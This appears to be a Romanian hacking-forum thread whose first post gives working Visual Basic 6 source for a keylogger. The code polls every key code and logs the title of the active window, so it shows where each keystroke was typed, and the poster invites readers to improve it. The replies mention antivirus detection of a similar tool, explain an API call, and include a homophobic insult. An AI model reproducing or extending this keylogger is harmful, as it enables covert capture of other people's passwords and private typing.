Jump to content
vladiii

KeyLogger [arata si fereastra]

Recommended Posts

Posted

Am vazut pe aici pe forum cativa oameni care au facut keyloggere, dar la nici unul nu am vazut implementata optiunea care arata si fereastra in care s-a scris textul respectiv. Asa ca am creat eu un mic cod [tot in VB6] care face exact acest lucru.

Declararea functiilor API/unor variabile in modul:


Public Declare Function GetForegroundWindow Lib "user32" () As Long

Public Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" ( _
ByVal hWnd As Long, _
ByVal sWndTitle As String, _
ByVal cLen As Long) As Long

Public Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer

Public hForegroundWnd As Long
Public Title As String * 1000
Public x As Long

Explicatie. APIul GetForegroundWindow preia handleul ferestrei foreground (cea mai de sus, daca pot spune asa, sau... ultima pe care ati dat click, sau ati accesat-o). Apoi, cu ajutorul lui GetWindowText, preiau numele ferestrei, folosind handleul obtinut anterior. A 3-a functie API (GetAsyncKeyState) va fi folosita pentru keylogger (care nu va fi prea avansat, dar il puteti imbunatati voi, eu vreau sa prezint doar conceptul).

Acum sa trecem la codul de pe formular:


Private Sub Command1_Click()
Timer1.Enabled = True
End Sub

Private Sub Command2_Click()
Timer1.Enabled = False
End Sub

Private Sub Form_Load()
Timer1.Enabled = False
End Sub

Private Sub Timer1_Timer()
'Urmeaza codul care intercepteaza titlul ferestrei
x = GetForegroundWindow()
If (x = hForegroundWnd) Then
GoTo label
Else
hForegroundWnd = GetForegroundWindow()
Title = ""
GetWindowText hForegroundWnd, Title, 5000
Text1.Text = Text1.Text & vbNewLine & Title
End If
Exit Sub

label:
'Urmeaza keyloggerul
For i = 1 To 255

res = 0
res = GetAsyncKeyState(i)

If res = -32767 Then
If (i = 32) Then
Text1.Text = Text1.Text + " "
Else
If (i = 13) Then
Text1.Text = Text1.Text + vbNewLine
Else
Text1.Text = Text1.Text + Chr(i)
End If
End If
End If
Next i
End Sub

Pe form trebuie sa adaugati un timer, cu numele Timer1, 2 butoane (Command1 si Command2) si un textbox (Text1). Intervalul timerului eu l-am setat la 50 milisecunde, insa il puteti pune la cat vreti voi.

Enjoy ! (pentru nelamuri, postati aici)

Posted
eu facusem asta:))....dar e mai detectat de AV`uri decat keyloggeru` facut de yonix...:P ..... era pus pe mt....:D;) ...

Asa, si ? Daca aveai o observatie utila/interesanta de facut postai, asa s-a mai umplut forumul de o balarie !

Posted

1. gandesti ca shcolaritza

2. schimba custom rang'ul ala ca e prea de suferintza ... stim ca esti dar nu tre sa urlii in gura mare ... asa vei face si cand se va dovedi ca esti homosexual ?

Posted

Poate trebuia sa explici putin functia

API-ul

Public Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" ( _

ByVal hWnd As Long, _

ByVal sWndTitle As String, _

ByVal cLen As Long) As Long

Are nevoie de 3 argumente :

hWnd : handlerul ferestrei din care se preia textul , in cazul nostu ForegroundWindow . Parametru de intrare .

sWndTitle : Titlul ferestrei . In variabila pe care o veti folosi , in cazul de fata Title , se va memora Titlu ferestrei Foreground . Acest titlu , in caz de succes , se va termina in caracterul NULL . In caz de eroare va fi 0 . Parametru de iesire .

cLen : reprezinta lungimea maxima care va fi copiata in variabila Title . Daca acest argument va fi 5 de exemplu , Title va contine primele 5 caractere din titlul ferestrei . Parametru de intrare .

Sper sa va ajute :)

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...